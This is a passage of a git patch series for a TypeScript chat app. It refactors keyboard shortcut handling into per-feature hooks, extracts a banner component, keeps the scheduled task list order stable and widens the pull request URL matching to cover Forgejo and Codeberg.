openThreadFindStable = useStableCallback(openThreadFind); const closeThreadFind = () => threadFindControlsRef.current?.close(); - const closeThreadFindStable = useStableCallback(closeThreadFind); - const toastPinFailure = (title: string) => (result: AtomCommandResult) => { - if (result._tag !== "Failure" || isAtomCommandInterrupted(result)) return; - const error = squashAtomCommandFailure(result); - toastManager.add( - stackedThreadToast({ - type: "error", - title, - description: error instanceof Error ? error.message : "An error occurred.", - }), - ); - }; - const openTerminalIfClosed = () => { - if (!terminalUiState.terminalOpen) setTerminalOpenStable(true); - }; - const openComposerControl = (command: Parameters[0]) => - (({ event }) => { - if (!event.repeat) composerRef.current?.openControl(command); - }) satisfies ChatShortcutHandler; useChatShortcuts({ enabled: activeThreadId !== null, keybindings, scriptKeybindings, - getShortcutContext: getShortcutContextStable, + getShortcutContext, threadFindActive: isThreadFindActive, - typeIntoComposer: (key) => composerRef.current?.insertTextAtEnd(key) === true, + composerRef, + branchToolbarRef, closeThreadFind: () => { - closeThreadFindStable(); + closeThreadFind(); focusComposerStable(); }, commands: { + ...terminalShortcuts, + ...rightPanelShortcuts, + ...threadLifecycleShortcuts, "thread.copyReference": ({ event }) => { - if (!event.repeat) copyActiveThreadReferenceStable(); - }, - "thread.settle": () => { - if (!readEnvironmentScope(environmentId, AuthOrchestrationOperateScope)) return false; - if (!isServerThread || !activeThreadRef || !supportsSettlement) return; - if (activeThreadSettled) { - void handleUnsettleActiveThreadStable(); - return; - } - if (settleAndAdvance(activeThreadRef)) return; - void settleThread(activeThreadRef).then(toastPinFailure("Failed to settle thread")); - }, - "thread.pin": () => { - if (!readEnvironmentScope(environmentId, AuthOrchestrationOperateScope)) return false; - if (!isServerThread || !activeThreadRef || !supportsPinning) return; - void ( - activeThreadPinned ? confirmAndUnpinThread(activeThreadRef) : pinThread(activeThreadRef) - ).then( - toastPinFailure(activeThreadPinned ? "Failed to unpin thread" : "Failed to pin thread"), - ); - }, - "terminal.toggle": () => { - if (!terminalUiState.terminalOpen && !canReadTerminal && !canOperateTerminal) return false; - toggleTerminalVisibilityStable(); + if (!event.repeat) copyActiveThreadReference(); }, "chat.find": () => { if (!isServerThread || serverConfig?.threadFind !== true) return false; - openThreadFindStable(); - }, - "rightPanel.toggle": () => toggleRightPanelStable(), - "rightPanel.toggleMaximized": ({ event }) => { - if (!event.repeat) toggleRightPanelMaximizedStable(); + openThreadFind(); }, - "threadPanel.toggle": () => toggleThreadPanelStable(), - "rightPanel.close": ({ event }) => { - if (!activeRightPanelSurface) return false; - if (!event.repeat) closeRightPanelSurfaceStable(activeRightPanelSurface); - }, - "terminal.split": ({ terminalFocusOwner }) => { - if (!canOperateTerminal) return false; - if (terminalFocusOwner === "right-panel") return void splitPanelTerminalStable(); - openTerminalIfClosed(); - splitTerminalStable(); - }, - "terminal.splitVertical": ({ terminalFocusOwner }) => { - if (!canOperateTerminal) return false; - if (terminalFocusOwner === "right-panel") return void splitPanelTerminalStable("vertical"); - openTerminalIfClosed(); - splitTerminalStable("vertical"); - }, - "terminal.close": ({ terminalFocusOwner }) => { - if (!canOperateTerminal) return false; - if (terminalFocusOwner === "right-panel" && activeRightPanelSurface?.kind === "terminal") { - requestClosePanelTerminalStable(activeRightPanelSurface.activeTerminalId); - return; - } - if (terminalUiState.terminalOpen) - requestCloseTerminalStable(terminalUiState.activeTerminalId); - }, - "terminal.new": ({ terminalFocusOwner }) => { - if (!canOperateTerminal) return false; - if (terminalFocusOwner === "right-panel") return void addTerminalSurfaceStable(); - openTerminalIfClosed(); - createNewTerminalStable(); - }, - "diff.toggle": () => onToggleDiffStable(), - "modelPicker.toggle": ({ event }) => { - if (!event.repeat) composerRef.current?.toggleModelPicker(); - }, - "composer.increaseEffort": ({ event }) => { - if (!event.repeat) composerRef.current?.stepReasoningEffort(1); - }, - "composer.decreaseEffort": ({ event }) => { - if (!event.repeat) composerRef.current?.stepReasoningEffort(-1); - }, - "composer.host": openComposerControl("composer.host"), - "composer.effort": openComposerControl("composer.effort"), - "composer.mode": openComposerControl("composer.mode"), - "composer.workspace": openComposerControl("composer.workspace"), "composer.cycleHost": ({ event }) => { if (!canChangeEnvironment) return false; if (event.repeat) return; @@ -2829,12 +2727,6 @@ export default function ChatView(props: ChatViewProps) { const next = logicalProjectEnvironments[(index + 1) % logicalProjectEnvironments.length]; if (next) onEnvironmentChangeStable(next.environmentId); }, - "composer.branch": ({ event }) => { - if (!event.repeat) branchToolbarRef.current?.openBranchPicker(); - }, - "composer.previousWorktree": ({ event }) => { - if (!event.repeat) branchToolbarRef.current?.usePreviousWorktree(); - }, "thread.steerQueuedMessage": ({ event }) => routeKind !== "draft" && queuedRunsControlRef.current?.steerNext(event.repeat) === true, "thread.editQueuedMessage": ({ event }) => diff --git a/apps/web/src/components/chat/composerShortcuts.ts b/apps/web/src/components/chat/composerShortcuts.ts new file mode 100644 index 000000000000..30beb9771968 --- /dev/null +++ b/apps/web/src/components/chat/composerShortcuts.ts @@ -0,0 +1,38 @@ +import type { ComposerHandleRef } from "../../composerHandleContext"; +import type { BranchToolbarHandle } from "../BranchToolbar"; +import type { ChatComposerHandle } from "./ChatComposer"; +import type { ChatShortcutCommands } from "./useChatShortcuts"; + +const openControl = + (composerRef: ComposerHandleRef, control: Parameters[0]) => + ({ event }: { readonly event: KeyboardEvent }) => { + if (!event.repeat) composerRef.current?.openControl(control); + }; + +/** Chords that open or step the composer's controls and its branch toolbar. Held keys do not repeat them. */ +export function composerShortcutCommands( + composerRef: ComposerHandleRef, + branchToolbarRef: { readonly current: BranchToolbarHandle | null }, +): ChatShortcutCommands { + return { + "modelPicker.toggle": ({ event }) => { + if (!event.repeat) composerRef.current?.toggleModelPicker(); + }, + "composer.increaseEffort": ({ event }) => { + if (!event.repeat) composerRef.current?.stepReasoningEffort(1); + }, + "composer.decreaseEffort": ({ event }) => { + if (!event.repeat) composerRef.current?.stepReasoningEffort(-1); + }, + "composer.host": openControl(composerRef, "composer.host"), + "composer.effort": openControl(composerRef, "composer.effort"), + "composer.mode": openControl(composerRef, "composer.mode"), + "composer.workspace": openControl(composerRef, "composer.workspace"), + "composer.branch": ({ event }) => { + if (!event.repeat) branchToolbarRef.current?.openBranchPicker(); + }, + "composer.previousWorktree": ({ event }) => { + if (!event.repeat) branchToolbarRef.current?.usePreviousWorktree(); + }, + } satisfies ChatShortcutCommands; +} diff --git a/apps/web/src/components/chat/useChatShortcuts.ts b/apps/web/src/components/chat/useChatShortcuts.ts index b68f502ab875..616b71b77b17 100644 --- a/apps/web/src/components/chat/useChatShortcuts.ts +++ b/apps/web/src/components/chat/useChatShortcuts.ts @@ -1,5 +1,5 @@ import type { KeybindingCommand, ResolvedKeybindingsConfig } from "@t3tools/contracts"; -import { useEffect, useLayoutEffect, useRef } from "react"; +import { useEffect, useEffectEvent } from "react"; import { isCommandPaletteOpen } from "../../commandPaletteBus"; import { resolveChatShortcutCommand, type ShortcutMatchContext } from "../../keybindings"; import { isTerminalCloseConfirmPending } from "../../lib/terminalCloseConfirm"; @@ -8,7 +8,10 @@ import { preventTerminalCloseShortcut, } from "../../lib/terminalCloseShortcut"; import { getTerminalFocusOwner, type TerminalFocusOwner } from "../../lib/terminalFocus"; +import type { ComposerHandleRef } from "../../composerHandleContext"; +import type { BranchToolbarHandle } from "../BranchToolbar"; import { shouldTypeToFocusComposer } from "./composerFocusRedirect"; +import { composerShortcutCommands } from "./composerShortcuts"; /** Runs a command. Returning false lets the key event through untouched. */ export type ChatShortcutHandler = (context: { @@ -16,6 +19,8 @@ export type ChatShortcutHandler = (context: { readonly terminalFocusOwner: TerminalFocusOwner | null; }) => boolean | void; +export type ChatShortcutCommands = Partial>; + export interface ChatShortcutsInput { readonly enabled: boolean; readonly keybindings: ResolvedKeybindingsConfig; @@ -24,83 +29,83 @@ export interface ChatShortcutsInput { readonly modelPickerOpen: boolean; }; readonly threadFindActive: boolean; - /** Types a printable key into the composer; false when it could not take it. */ - readonly typeIntoComposer: (key: string) => boolean; + /** Takes type-to-focus keys and the composer and branch toolbar chords. */ + readonly composerRef: ComposerHandleRef; + readonly branchToolbarRef: { readonly current: BranchToolbarHandle | null }; readonly closeThreadFind: () => void; - readonly commands: Partial>; + readonly commands: ChatShortcutCommands; /** Handles commands not in `commands`, such as project scripts. */ readonly fallback: (command: KeybindingCommand) => ChatShortcutHandler | undefined; } /** * The chat's window keyboard shortcuts, plus Escape closing thread find. - * Listeners attach once and read the latest input on each event, so handlers + * Listeners attach once; the effect events read the latest input, so handlers * act on the current render without re-registering on every change. */ export function useChatShortcuts(input: ChatShortcutsInput) { - const latest = useRef(input); - useLayoutEffect(() => { - latest.current = input; - }); - useEffect(() => { - const handler = (event: KeyboardEvent) => { - const current = latest.current; - const { keybindings } = current; - if (preventRepeatedTerminalCloseShortcut(event, keybindings)) { - event.stopPropagation(); - return; - } - if (current.threadFindActive && event.key === "Escape") return; - if (isTerminalCloseConfirmPending() && preventTerminalCloseShortcut(event, keybindings)) { - event.stopPropagation(); - return; - } - if (!current.enabled || isCommandPaletteOpen()) return; - const terminalFocusOwner = getTerminalFocusOwner(); - if (event.defaultPrevented && terminalFocusOwner === null) return; - const shortcutContext = current.getShortcutContext(event.target); - - if ( - !shortcutContext.terminalFocus && - !shortcutContext.modelPickerOpen && - shouldTypeToFocusComposer(event) && - current.typeIntoComposer(event.key) - ) { - event.preventDefault(); - event.stopPropagation(); - return; - } + const handleShortcut = useEffectEvent((event: KeyboardEvent) => { + const { keybindings } = input; + if (preventRepeatedTerminalCloseShortcut(event, keybindings)) { + event.stopPropagation(); + return; + } + if (input.threadFindActive && event.key === "Escape") return; + if (isTerminalCloseConfirmPending() && preventTerminalCloseShortcut(event, keybindings)) { + event.stopPropagation(); + return; + } + if (!input.enabled || isCommandPaletteOpen()) return; + const terminalFocusOwner = getTerminalFocusOwner(); + if (event.defaultPrevented && terminalFocusOwner === null) return; + const shortcutContext = input.getShortcutContext(event.target); - const command = resolveChatShortcutCommand(event, keybindings, current.scriptKeybindings, { - context: shortcutContext, - }); - if (!command) return; - const run = current.commands[command] ?? current.fallback(command); - if (!run || run({ event, terminalFocusOwner }) === false) return; + if ( + !shortcutContext.terminalFocus && + !shortcutContext.modelPickerOpen && + shouldTypeToFocusComposer(event) && + input.composerRef.current?.insertTextAtEnd(event.key) === true + ) { event.preventDefault(); event.stopPropagation(); - }; - const dismissFind = (event: KeyboardEvent) => { - const current = latest.current; - if ( - event.key !== "Escape" || - !current.threadFindActive || - event.defaultPrevented || - event.isComposing || - event.keyCode === 229 || - isCommandPaletteOpen() - ) - return; - const context = current.getShortcutContext(event.target); - if (context.terminalFocus || context.previewFocus || context.modelPickerOpen) return; - event.preventDefault(); - current.closeThreadFind(); - }; - window.addEventListener("keydown", handler, true); - window.addEventListener("keydown", dismissFind); + return; + } + + const command = resolveChatShortcutCommand(event, keybindings, input.scriptKeybindings, { + context: shortcutContext, + }); + if (!command) return; + const run = + input.commands[command] ?? + composerShortcutCommands(input.composerRef, input.branchToolbarRef)[command] ?? + input.fallback(command); + if (!run || run({ event, terminalFocusOwner }) === false) return; + event.preventDefault(); + event.stopPropagation(); + }); + const dismissFind = useEffectEvent((event: KeyboardEvent) => { + if ( + event.key !== "Escape" || + !input.threadFindActive || + event.defaultPrevented || + event.isComposing || + event.keyCode === 229 || + isCommandPaletteOpen() + ) + return; + const context = input.getShortcutContext(event.target); + if (context.terminalFocus || context.previewFocus || context.modelPickerOpen) return; + event.preventDefault(); + input.closeThreadFind(); + }); + useEffect(() => { + const onKeyDownCapture = (event: KeyboardEvent) => handleShortcut(event); + const onKeyDown = (event: KeyboardEvent) => dismissFind(event); + window.addEventListener("keydown", onKeyDownCapture, true); + window.addEventListener("keydown", onKeyDown); return () => { - window.removeEventListener("keydown", handler, true); - window.removeEventListener("keydown", dismissFind); + window.removeEventListener("keydown", onKeyDownCapture, true); + window.removeEventListener("keydown", onKeyDown); }; }, []); } diff --git a/apps/web/src/components/chat/useChatTerminalActions.ts b/apps/web/src/components/chat/useChatTerminalActions.ts index 73487dfd6c65..02b6fcd9851c 100644 --- a/apps/web/src/components/chat/useChatTerminalActions.ts +++ b/apps/web/src/components/chat/useChatTerminalActions.ts @@ -41,6 +41,7 @@ import { useLocalStorage } from "~/hooks/useLocalStorage"; import { previewEnvironment } from "../../state/preview"; import { readEnvironmentScope } from "../../state/session"; import { useAtomCommand } from "../../state/use-atom-command"; +import type { ChatShortcutCommands } from "./useChatShortcuts"; const SCRIPT_TERMINAL_COLS = 120; const SCRIPT_TERMINAL_ROWS = 30; @@ -388,7 +389,49 @@ export function useChatTerminalActions(input: ChatTerminalActionsInput) { }); }; const requestClosePanelTerminalStable = useStableCallback(requestClosePanelTerminal); + const openTerminalIfClosed = () => { + if (!terminalUiState.terminalOpen) setTerminalOpen(true); + }; + // A focused right-panel terminal takes the split/new/close chords; otherwise they act on the drawer. + const shortcuts = { + "terminal.toggle": () => { + if ( + !terminalUiState.terminalOpen && + !readEnvironmentScope(environmentId, AuthTerminalReadScope) && + !hasTerminalWriteAccess() + ) + return false; + toggleTerminalVisibility(); + }, + "terminal.split": ({ terminalFocusOwner }) => { + if (!hasTerminalWriteAccess()) return false; + if (terminalFocusOwner === "right-panel") return void splitPanelTerminal(); + openTerminalIfClosed(); + splitTerminal(); + }, + "terminal.splitVertical": ({ terminalFocusOwner }) => { + if (!hasTerminalWriteAccess()) return false; + if (terminalFocusOwner === "right-panel") return void splitPanelTerminal("vertical"); + openTerminalIfClosed(); + splitTerminal("vertical"); + }, + "terminal.close": ({ terminalFocusOwner }) => { + if (!hasTerminalWriteAccess()) return false; + if (terminalFocusOwner === "right-panel" && activeRightPanelSurface?.kind === "terminal") { + requestClosePanelTerminal(activeRightPanelSurface.activeTerminalId); + return; + } + if (terminalUiState.terminalOpen) requestCloseTerminal(terminalUiState.activeTerminalId); + }, + "terminal.new": ({ terminalFocusOwner }) => { + if (!hasTerminalWriteAccess()) return false; + if (terminalFocusOwner === "right-panel") return void addTerminalSurface(); + openTerminalIfClosed(); + createNewTerminal(); + }, + } satisfies ChatShortcutCommands; return { + shortcuts, activatePanelTerminalStable, addTerminalContextToDraftStable, addTerminalSurfaceStable, diff --git a/apps/web/src/components/chat/useRightPanelActions.ts b/apps/web/src/components/chat/useRightPanelActions.ts index d57a87e382e6..0ee09f128c6d 100644 --- a/apps/web/src/components/chat/useRightPanelActions.ts +++ b/apps/web/src/components/chat/useRightPanelActions.ts @@ -30,6 +30,7 @@ import { stackedThreadToast, toastManager } from "../ui/toast"; import { openDeviceSetupDialog } from "./ChatOverlayHosts"; import { previewEnvironment } from "../../state/preview"; import { useAtomCommand } from "../../state/use-atom-command"; +import type { ChatShortcutCommands } from "./useChatShortcuts"; interface RightPanelActionsInput { readonly activeThreadRef: ScopedThreadRef | null; readonly activeProject: EnvironmentProject | null; @@ -54,6 +55,7 @@ interface RightPanelActionsInput { readonly explicitDiffOpenRef: { current: ScopedThreadRef | null }; readonly setTerminalFocusRequestId: Dispatch>; readonly onDiffPanelOpen: (() => void) | undefined; + readonly closeRightPanelSurface: (surface: RightPanelSurface) => void; } /** @@ -62,6 +64,7 @@ interface RightPanelActionsInput { */ export function useRightPanelActions(input: RightPanelActionsInput) { const { + closeRightPanelSurface, activeThreadRef, activeProject, activeRightPanelSurface, @@ -290,7 +293,21 @@ export function useRightPanelActions(input: RightPanelActionsInput) { [togglePreviewPanelStable], ); + const shortcuts = { + "rightPanel.toggle": () => toggleRightPanel(), + "rightPanel.toggleMaximized": ({ event }) => { + if (!event.repeat) toggleRightPanelMaximized(); + }, + "threadPanel.toggle": () => toggleThreadPanel(), + "rightPanel.close": ({ event }) => { + if (!activeRightPanelSurface) return false; + if (!event.repeat) closeRightPanelSurface(activeRightPanelSurface); + }, + "diff.toggle": () => onToggleDiff(), + } satisfies ChatShortcutCommands; + return { + shortcuts, activateRightPanelSurfaceStable, addDeviceSurfaceStable, addDiffSurfaceStable, diff --git a/apps/web/src/components/chat/useThreadLifecycle.tsx b/apps/web/src/components/chat/useThreadLifecycle.tsx index 6f77dcb81892..8d90dbc31d16 100644 --- a/apps/web/src/components/chat/useThreadLifecycle.tsx +++ b/apps/web/src/components/chat/useThreadLifecycle.tsx @@ -23,7 +23,9 @@ import { RuntimeMode, } from "@t3tools/contracts"; import { effectiveSnoozed, threadWokeAt } from "@t3tools/client-runtime/state/thread-settled"; -import { useAcknowledgeThreadWoke } from "../../hooks/useThreadActions"; +import { useAcknowledgeThreadWoke, useThreadActions } from "../../hooks/useThreadActions"; +import { settleAndAdvance } from "../../settleAndAdvance"; +import type { ChatShortcutCommands } from "./useChatShortcuts"; import { resolveThreadLastVisitedAt } from "../Sidebar.logic"; import { scopedThreadKey, scopeThreadRef } from "@t3tools/client-runtime/environment"; import { type SetStateAction, useEffect, useRef, useState } from "react"; @@ -148,6 +150,7 @@ export function useThreadLifecycle(input: ThreadLifecycleInput) { } = input; const navigate = useNavigate(); const router = useRouter(); + const { settleThread, pinThread, confirmAndUnpinThread } = useThreadActions(); const canWriteSourceControl = useEnvironmentScope(environmentId, AuthSourceControlWriteScope); const switchGitRef = useAtomCommand(vcsEnvironment.switchRef, { reportFailure: false }); const updateThreadMetadata = useOrchestrationCommand(threadEnvironment.updateMetadata, { @@ -558,25 +561,56 @@ export function useThreadLifecycle(input: ThreadLifecycleInput) { onAction={acknowledgeActiveThreadWokeStable} /> ) : null; + const toastThreadActionFailure = + (title: string) => (result: AtomCommandResult) => { + if (result._tag !== "Failure" || isAtomCommandInterrupted(result)) return; + const error = squashAtomCommandFailure(result); + toastManager.add( + stackedThreadToast({ + type: "error", + title, + description: error instanceof Error ? error.message : "An error occurred.", + }), + ); + }; + const shortcuts = { + "thread.settle": () => { + if (!readEnvironmentScope(environmentId, AuthOrchestrationOperateScope)) return false; + if (!activeThreadShell || !activeThreadRef || !supportsSettlement) return; + if (activeThreadSettled) { + void handleUnsettleActiveThread(); + return; + } + if (settleAndAdvance(activeThreadRef)) return; + void settleThread(activeThreadRef).then(toastThreadActionFailure("Failed to settle thread")); + }, + "thread.pin": () => { + if (!readEnvironmentScope(environmentId, AuthOrchestrationOperateScope)) return false; + if (!activeThreadShell || !activeThreadRef || !supportsPinning) return; + void ( + activeThreadPinned ? confirmAndUnpinThread(activeThreadRef) : pinThread(activeThreadRef) + ).then( + toastThreadActionFailure( + activeThreadPinned ? "Failed to unpin thread" : "Failed to pin thread", + ), + ); + }, + } satisfies ChatShortcutCommands; return { + shortcuts, acknowledgeActiveThreadWoke, activeBranchMismatchKey, - activeThreadPinned, - activeThreadSettled, backgroundWorkBanner, childInputBanner, goalBanner, handleSwitchCheckoutToThread, handleSwitchCheckoutToThreadStable, - handleUnsettleActiveThreadStable, isRestoringThreadBranch, onOpenRelatedThread, onOpenRelatedThreadStable, sendStandaloneCommand, setBranchMismatchDismissTick, showBranchMismatchBanner, - supportsPinning, - supportsSettlement, threadStatusLine, }; } From a642ab2bd5d3dcc98217d60073ea0feb234c1aa1 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 14:39:22 -0700 Subject: [PATCH 065/130] refactor(web): ChatView's timeline banners render in ChatBannerLane (#23101) Co-authored-by: Claude Opus 5.5 --- apps/web/src/components/ChatView.tsx | 40 ++++++------- .../src/components/chat/ChatBannerLane.tsx | 57 +++++++++++++++++++ 2 files changed, 74 insertions(+), 23 deletions(-) create mode 100644 apps/web/src/components/chat/ChatBannerLane.tsx diff --git a/apps/web/src/components/ChatView.tsx b/apps/web/src/components/ChatView.tsx index 41903f4cd903..d65692930721 100644 --- a/apps/web/src/components/ChatView.tsx +++ b/apps/web/src/components/ChatView.tsx @@ -48,6 +48,7 @@ import { feedbackBannerItem } from "./chat/ComposerFeedback"; import { useUsageLimitsPanel } from "./chat/useUsageLimitsPanel"; import { useWorktreeSetup } from "./chat/useWorktreeSetup"; import { useChatShortcuts } from "./chat/useChatShortcuts"; +import { ChatBannerLane } from "./chat/ChatBannerLane"; import * as Schema from "effect/Schema"; import { AuthOrchestrationOperateScope, @@ -282,15 +283,12 @@ import { } from "./BranchToolbar.logic"; import { getProviderStatusBannerKey, - ProviderStatusBanner, shouldShowProviderStatusBanner, } from "./chat/ProviderStatusBanner"; import { - dismissThreadErrorBannerForSession, getThreadErrorBannerKey, isThreadErrorBannerDismissedForSession, shouldShowThreadErrorBanner, - ThreadErrorBanner, } from "./chat/ThreadErrorBanner"; import { QueuedRunsControl, type QueuedRunsControlHandle } from "./chat/QueuedRunsControl"; import { useThreadLinkedPullRequest } from "./pullRequest/useThreadLinkedPullRequest"; @@ -3229,26 +3227,22 @@ export default function ChatView(props: ChatViewProps) { > {isWorkspaceFileDragActive ? : null} -
- setDismissedProviderStatusBannerKey(providerStatusBannerKey)} - onOpenProviderSetup={openProviderSetupStable} - /> - { - setThreadError(activeThread.id, null); - dismissThreadErrorBannerForSession(threadErrorBannerKey); - setThreadErrorBannerDismissTick((tick) => tick + 1); - }} - /> -
+
>; + onOpenProviderSetup: (instanceId: ProviderInstanceId) => void; + threadId: ThreadId; + threadError: string | null; + threadErrorClass: OrchestrationV2ProviderFailureClass | null; + threadErrorBannerKey: string | null; + setThreadError: (threadId: ThreadId | null, error: string | null) => void; + setThreadErrorBannerDismissTick: Dispatch>; +}) { + const { + providerStatus, + providerStatusBannerKey, + setDismissedProviderStatusBannerKey, + onOpenProviderSetup, + threadId, + threadError, + threadErrorClass, + threadErrorBannerKey, + setThreadError, + setThreadErrorBannerDismissTick, + } = props; + return ( +
+ setDismissedProviderStatusBannerKey(providerStatusBannerKey)} + onOpenProviderSetup={onOpenProviderSetup} + /> + { + setThreadError(threadId, null); + dismissThreadErrorBannerForSession(threadErrorBannerKey); + setThreadErrorBannerDismissTick((tick) => tick + 1); + }} + /> +
+ ); +} From 968dd51704441138559a3fe9c348719f2b11e0c6 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 14:39:22 -0700 Subject: [PATCH 066/130] fix(web): the branch toolbar and thread details panel stay cached while a reply streams (#23103) Co-authored-by: Claude Opus 5.5 --- apps/web/src/components/chat/useComposerSelection.ts | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/apps/web/src/components/chat/useComposerSelection.ts b/apps/web/src/components/chat/useComposerSelection.ts index 7e0a527438d8..b2666c32a6fd 100644 --- a/apps/web/src/components/chat/useComposerSelection.ts +++ b/apps/web/src/components/chat/useComposerSelection.ts @@ -237,12 +237,15 @@ export function useComposerSelection(input: ComposerSelectionInput) { }; const onEnvModeChangeStable = useStableCallback(onEnvModeChange); + // Reads only the id: the shell changes on every streamed event, and a new handler + // re-renders the branch toolbar and thread details panel with it. + const activeThreadId = activeThread?.id; const onStartFromOriginChange = (nextStartFromOrigin: boolean) => { - if (canOverrideServerThreadEnvMode && activeThread) { + if (canOverrideServerThreadEnvMode && activeThreadId !== undefined) { setPendingServerThreadStartFromOriginByThreadId((current) => - current[activeThread.id] === nextStartFromOrigin + current[activeThreadId] === nextStartFromOrigin ? current - : { ...current, [activeThread.id]: nextStartFromOrigin }, + : { ...current, [activeThreadId]: nextStartFromOrigin }, ); return; } From 1b22228e52382a18c3b0721ad5154c74996b35ad Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 15:08:17 -0700 Subject: [PATCH 067/130] fix(server): scheduled tasks no longer jump to the top when toggled (#22899) Co-authored-by: Victor Vogel Co-authored-by: Claude Opus 5.5 --- .../ScheduledTaskService.schedule.test.ts | 51 +++++++++++++++++++ .../scheduledTasks/ScheduledTaskService.ts | 4 +- 2 files changed, 54 insertions(+), 1 deletion(-) diff --git a/apps/server/src/scheduledTasks/ScheduledTaskService.schedule.test.ts b/apps/server/src/scheduledTasks/ScheduledTaskService.schedule.test.ts index bcb110a5da71..09e1d7674044 100644 --- a/apps/server/src/scheduledTasks/ScheduledTaskService.schedule.test.ts +++ b/apps/server/src/scheduledTasks/ScheduledTaskService.schedule.test.ts @@ -116,3 +116,54 @@ it.effect("preserves a due run when a save only pads the scheduled hour", () => }).pipe(Effect.provide(ScheduledTaskService.layer.pipe(Layer.provide(layerDependencies)))); }).pipe(Effect.provide(SqlitePersistence.layerMemory)), ); + +it.effect("keeps the task list order when a toggle or edit rewrites updated_at", () => + Effect.gen(function* () { + yield* TestClock.setTime(Date.parse("2026-07-01T09:00:00.000Z")); + const layerDependencies = Layer.mergeAll( + NodeCrypto.layer, + Scheduler.layer, + Layer.mock(ThreadLaunchService.ThreadLaunchService)({}), + Layer.mock(ManagedProjectFolders.ManagedProjectFolders)({ + namedProjectsRoot: "/projects", + isScratchProject: () => Effect.succeed(false), + }), + Layer.mock(ThreadManagementService.ThreadManagementService)({}), + Layer.mock(SecretRequests.SecretRequests)({}), + ); + yield* Effect.gen(function* () { + const service = yield* ScheduledTaskService.ScheduledTaskService; + const input = (id: string) => ({ + id, + title: id, + prompt: "Review the open pull requests.", + enabled: true, + schedule: { type: "interval", everyMs: 60_000 }, + projectId: "project-stable-order", + workspaceStrategy: { type: "root" }, + modelSelection: { instanceId: "codex", model: "gpt-5.4" }, + runtimeMode: "full-access", + interactionMode: "default", + }); + const listedIds = service + .list() + .pipe(Effect.map(({ tasks }) => tasks.map((task) => String(task.id)))); + + const older = yield* service.upsert(yield* decodeUpsertInput(input("scheduled-task:older"))); + yield* TestClock.adjust("1 second"); + yield* service.upsert(yield* decodeUpsertInput(input("scheduled-task:newer"))); + const order = ["scheduled-task:newer", "scheduled-task:older"]; + expect(yield* listedIds).toEqual(order); + + yield* TestClock.adjust("1 second"); + const toggled = yield* service.setEnabled({ id: older.task.id, enabled: false }); + expect(toggled.task.updatedAt > older.task.updatedAt).toBe(true); + expect(yield* listedIds).toEqual(order); + + yield* TestClock.adjust("1 second"); + const edit = { ...input(older.task.id), requireExisting: true, title: "Edited" }; + yield* service.upsert(yield* decodeUpsertInput({ ...edit, enabled: false })); + expect(yield* listedIds).toEqual(order); + }).pipe(Effect.provide(ScheduledTaskService.layer.pipe(Layer.provide(layerDependencies)))); + }).pipe(Effect.provide(SqlitePersistence.layerMemory)), +); diff --git a/apps/server/src/scheduledTasks/ScheduledTaskService.ts b/apps/server/src/scheduledTasks/ScheduledTaskService.ts index ea681a30afe0..374d6b38027b 100644 --- a/apps/server/src/scheduledTasks/ScheduledTaskService.ts +++ b/apps/server/src/scheduledTasks/ScheduledTaskService.ts @@ -456,7 +456,9 @@ export const layer = Layer.effect( webhook_token, webhook_secret FROM scheduled_tasks - ORDER BY updated_at DESC, task_id ASC + -- Not updated_at: toggles, runs and edits rewrite it, and clients render + -- this order as-is, so rows would move under the pointer. + ORDER BY created_at DESC, task_id ASC `; const listRows = Effect.fn("ScheduledTaskService.listRows")(function* () { From 22b89ef061a65c89488761a09e05e3dffc9e6316 Mon Sep 17 00:00:00 2001 From: MarcoDotIO Date: Wed, 21 Oct 2026 18:08:32 -0400 Subject: [PATCH 068/130] fix(server): Forgejo and GitCafe pull requests link to their threads again (#22937) Co-authored-by: Claude Opus 5.5 --- apps/server/src/git/GitManager.test.ts | 5 +++++ apps/server/src/git/GitManager.ts | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/apps/server/src/git/GitManager.test.ts b/apps/server/src/git/GitManager.test.ts index 7bfc2c802773..bd2781682a15 100644 --- a/apps/server/src/git/GitManager.test.ts +++ b/apps/server/src/git/GitManager.test.ts @@ -1785,6 +1785,11 @@ it.layer(layerGitManagerTest)("GitManager", (it) => { "gitlab.example.com/group/subgroup/repository", ], ["https://bitbucket.org/team/repository/pull-requests/42", "bitbucket.org/team/repository"], + ["https://codeberg.org/team/repository/pulls/42", "codeberg.org/team/repository"], + [ + "http://code.example:3000/forgejo/team/repository/pulls/42/files", + "code.example/forgejo/team/repository", + ], [ "https://dev.azure.com/org/project/_git/repository/pullrequest/42", "dev.azure.com/org/project/_git/repository", diff --git a/apps/server/src/git/GitManager.ts b/apps/server/src/git/GitManager.ts index bb180042c034..43098c90ab60 100644 --- a/apps/server/src/git/GitManager.ts +++ b/apps/server/src/git/GitManager.ts @@ -260,7 +260,7 @@ export function pullRequestRepositoryKey(value: string): string | null { try { const url = new URL(value); const match = - /^(.*)(?:\/pull\/|\/-\/merge_requests\/|\/pull-requests\/|\/pullrequest\/)\d+(?:\/.*)?$/iu.exec( + /^(.*)(?:\/pulls?\/|\/-\/merge_requests\/|\/pull-requests\/|\/pullrequest\/)\d+(?:\/.*)?$/iu.exec( url.pathname, ); if (match?.[1] === undefined) return null; From fb7f08782b964b4137eef597052c99efc9039043 Mon Sep 17 00:00:00 2001 From: Theo Browne Date: Wed, 21 Oct 2026 15:08:59 -0700 Subject: [PATCH 069/130] fix(server): pushes the remote refuses say why instead of a generic failure (#22904) Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com> Co-authored-by: Claude Opus 5.5 --- apps/server/src/vcs/GitVcsDriverCore.test.ts | 93 +++++++++++++++++++- apps/server/src/vcs/GitVcsDriverCore.ts | 28 +++++- packages/contracts/src/git.ts | 2 + 3 files changed, 119 insertions(+), 4 deletions(-) diff --git a/apps/server/src/vcs/GitVcsDriverCore.test.ts b/apps/server/src/vcs/GitVcsDriverCore.test.ts index c0c5f261563b..84861d6dd4ae 100644 --- a/apps/server/src/vcs/GitVcsDriverCore.test.ts +++ b/apps/server/src/vcs/GitVcsDriverCore.test.ts @@ -80,6 +80,13 @@ const makeSuccessfulHandle = (stdout: string) => getOutputFd: () => Stream.empty, }); +const makeFailedHandle = (stderr: string) => + ChildProcessSpawner.makeHandle({ + ...makeNonRepositoryHandle(), + exitCode: Effect.succeed(ChildProcessSpawner.ExitCode(1)), + stderr: 